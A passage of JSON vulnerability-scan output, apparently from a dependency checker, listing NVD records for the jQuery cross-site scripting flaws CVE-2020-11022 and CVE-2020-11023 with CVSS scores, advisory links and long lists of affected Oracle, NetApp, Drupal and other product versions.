                "id": "cpe:2.3:a:oracle:tape_library_acsls:8.5.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:transportation_management:1.4.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:utilities_mobile_workforce_management:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "2.3.0.1",
                "versionEndIncluding": "2.3.0.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:webcenter_sites:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:redhat:cloudforms:4.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:redhat:virtualization_manager:4.3:*:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2020-11022",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.",
          "notes": "",
          "references": [
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.tenable.com\/security\/tns-2020-11",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-02",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2021.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r8f70b0f65d6bedf316ecd899371fd89e65333bc988f6326d2956735c%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/QPN2L2XVQGUA2V5HNQJWHK3APSK3VN7K\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/security.netapp.com\/advisory\/ntap-20200511-0006\/",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.debian.org\/security\/2020\/dsa-4693",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r564585d97bc069137e64f521e68ba490c7c9c5b342df5d73c49a0760%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/security.gentoo.org\/glsa\/202007-03",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2021\/03\/msg00033.html",
              "name": "MAILING_LIST,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.drupal.org\/sa-core-2020-002",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2023\/08\/msg00040.html"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/packetstormsecurity.com\/files\/162159\/jQuery-1.2-Cross-Site-Scripting.html",
              "name": "EXPLOIT,THIRD_PARTY_ADVISORY,VDB_ENTRY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/SAPQVX3XDNPGFT26QAQ6AJIXZZBZ4CD4\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2020.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rbb448222ba62c430e21e13f940be4cb5cfc373cd3bce56b48c0ffa67%40%3Cdev.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/AVKYXLWCLZBV2N7M46KYK4LVA5OXWPBY\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-07\/msg00067.html",
              "name": "BROKEN_LINK"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r49ce4243b4738dd763caeb27fa8ad6afb426ae3e8c011ff00b8b1f48%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r706cfbc098420f7113968cc377247ec3d1439bce42e679c11c609e2d%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/\/security-alerts\/cpujul2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/github.com\/jquery\/jquery\/commit\/1d61fd9407e6fbe82fe55cb0b938307aa0791f77",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/ree3bd8ddb23df5fa4e372d11c226830ea3650056b1059f3965b3fce2%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/github.com\/jquery\/jquery\/security\/advisories\/GHSA-gxr4-xjj5-5px2",
              "name": "MITIGATION,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-11\/msg00039.html",
              "name": "BROKEN_LINK"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuApr2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-10",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r0483ba0072783c2e1bfea613984bfb3c86e73ba8879d780dc1cc7d36%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujul2020.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuoct2021.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rede9cfaa756e050a3d83045008f84a62802fc68c17f2b4eabeaae5e4%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/re4ae96fa5c1a2fe71ccbb7b7ac1538bd0cb677be270a2bf6e2f8d108%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuapr2022.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/VOE7P7APPRQKD4FGNHBKJPDY6FFCOH3W\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/",
              "name": "RELEASE_NOTES,VENDOR_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "http:\/\/lists.opensuse.org\/opensuse-security-announce\/2020-07\/msg00085.html",
              "name": "BROKEN_LINK"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r54565a8f025c7c4f305355fdfd75b68eca442eebdb5f31c2e7d977ae%40%3Cissues.flink.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/SFP4UK4EGP4AFH2MWYJ5A5Z4I7XVFQ6B\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rdf44341677cf7eec7e9aa96dcf3f37ed709544863d619cca8c36f133%40%3Ccommits.airflow.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2022.html",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/jquery.com\/upgrade-guide\/3.5\/",
              "name": "MITIGATION,VENDOR_ADVISORY"
            },
            {
              "source": "info",
              "url": "https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/",
              "name": "https:\/\/blog.jquery.com\/2020\/04\/10\/jquery-3-5-0-released\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujul2022.html"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.tenable.com\/security\/tns-2020-10",
              "name": "THIRD_PARTY_ADVISORY"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "7.0",
                "versionEndExcluding": "7.70"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.7.0",
                "versionEndExcluding": "8.7.14"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.8.0",
                "versionEndExcluding": "8.8.6"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "1.2",
                "versionEndExcluding": "3.5.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:max_data:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:oncommand_insight:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:oncommand_system_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "3.0",
                "versionEndIncluding": "3.1.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:snap_creator_framework:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:snapcenter:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_supplier_collaboration_for_process:6.2.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.3.0.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "18.1",
                "versionEndIncluding": "20.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:18.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:18.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:19.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:19.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:20.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:blockchain_platform:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "21.1.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_application_session_controller:3.8m0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_billing_and_revenue_management:7.5.0.23.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_billing_and_revenue_management:12.0.0.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_diameter_signaling_router_idih\\::*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.0",
                "versionEndIncluding": "8.2.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_eagle_application_processor:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "16.1.0",
                "versionEndIncluding": "16.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_services_gatekeeper:7.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_webrtc_session_controller:7.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_manager_ops_center:12.4.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_session_border_controller:8.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_infrastructure:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_infrastructure:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6.0.0",
                "versionEndIncluding": "8.1.0.0.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_reconciliation_framework:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_reconciliation_framework:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_asset_liability_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_asset_liability_management:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_asset_liability_management:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_balance_sheet_planning:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_basic:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_basic:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_internal_ratings_based_approach:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_internal_ratings_based_approach:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_foundation:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_governance_for_us_regulatory_reporting:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.9"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_funds_transfer_pricing:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_funds_transfer_pricing:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_funds_transfer_pricing:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_hedge_management_and_ifrs_valuations:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_hedge_management_and_ifrs_valuations:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_institutional_performance_analytics:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_institutional_performance_analytics:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_institutional_performance_analytics:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_measurement_and_management:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_measurement_and_management:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_measurement_and_management:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_loan_loss_forecasting_and_provisioning:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_loan_loss_forecasting_and_provisioning:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_price_creation_and_discovery:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_price_creation_and_discovery:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_profitability_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_profitability_management:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_profitability_management:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_european_banking_authority:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_us_federal_reserve:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.9"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "19.1.0",
                "versionEndIncluding": "19.1.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:18.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:19.1.0-19.1.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_accounting_analyzer:8.0.9:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_allocation_manager_for_enterprise_profitability:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_allocation_manager_for_enterprise_profitability:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_data_foundation:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_data_foundation:8.0.6-8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "5.0.0.0",
                "versionEndIncluding": "5.6.0.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:5.6.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:11.1.1.9.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.56:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.57:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.2.0",
                "versionEndIncluding": "12.2.20"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation_connector_for_siebel:10.4.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation_for_mobile_devices:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.2.0",
                "versionEndIncluding": "12.2.20"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_back_office:14.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_back_office:14.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_management_and_segmentation_foundation:19.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_returns_management:14.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_returns_management:14.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:siebel_ui_framework:20.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:storagetek_acsls:8.5.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:weblogic_server:14.1.1.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:tenable:log_correlation_engine:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "6.0.9"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2020-11023",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.",
          "notes": "",
          "references": [
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/ra374bb0299b4aa3e04edde01ebc03ed6f90cf614dad40dd428ce8f72%40%3Cgitbox.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpujan2021.html",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.fedoraproject.org\/archives\/list\/package-announce%40lists.fedoraproject.org\/message\/QPN2L2XVQGUA2V5HNQJWHK3APSK3VN7K\/"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/www.debian.org\/security\/2020\/dsa-4693",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.debian.org\/debian-lts-announce\/2023\/08\/msg00040.html"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rf1ba79e564fe7efc56aef7c986106f1cf67a3427d08e997e088e7a93%40%3Cgitbox.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/ra3c9219fcb0b289e18e9ec5a5ebeaa5c17d6b79a201667675af6721c%40%3Cgitbox.hive.apache.org%3E"
            },
            {
              "source": "security-advisories@github.com",
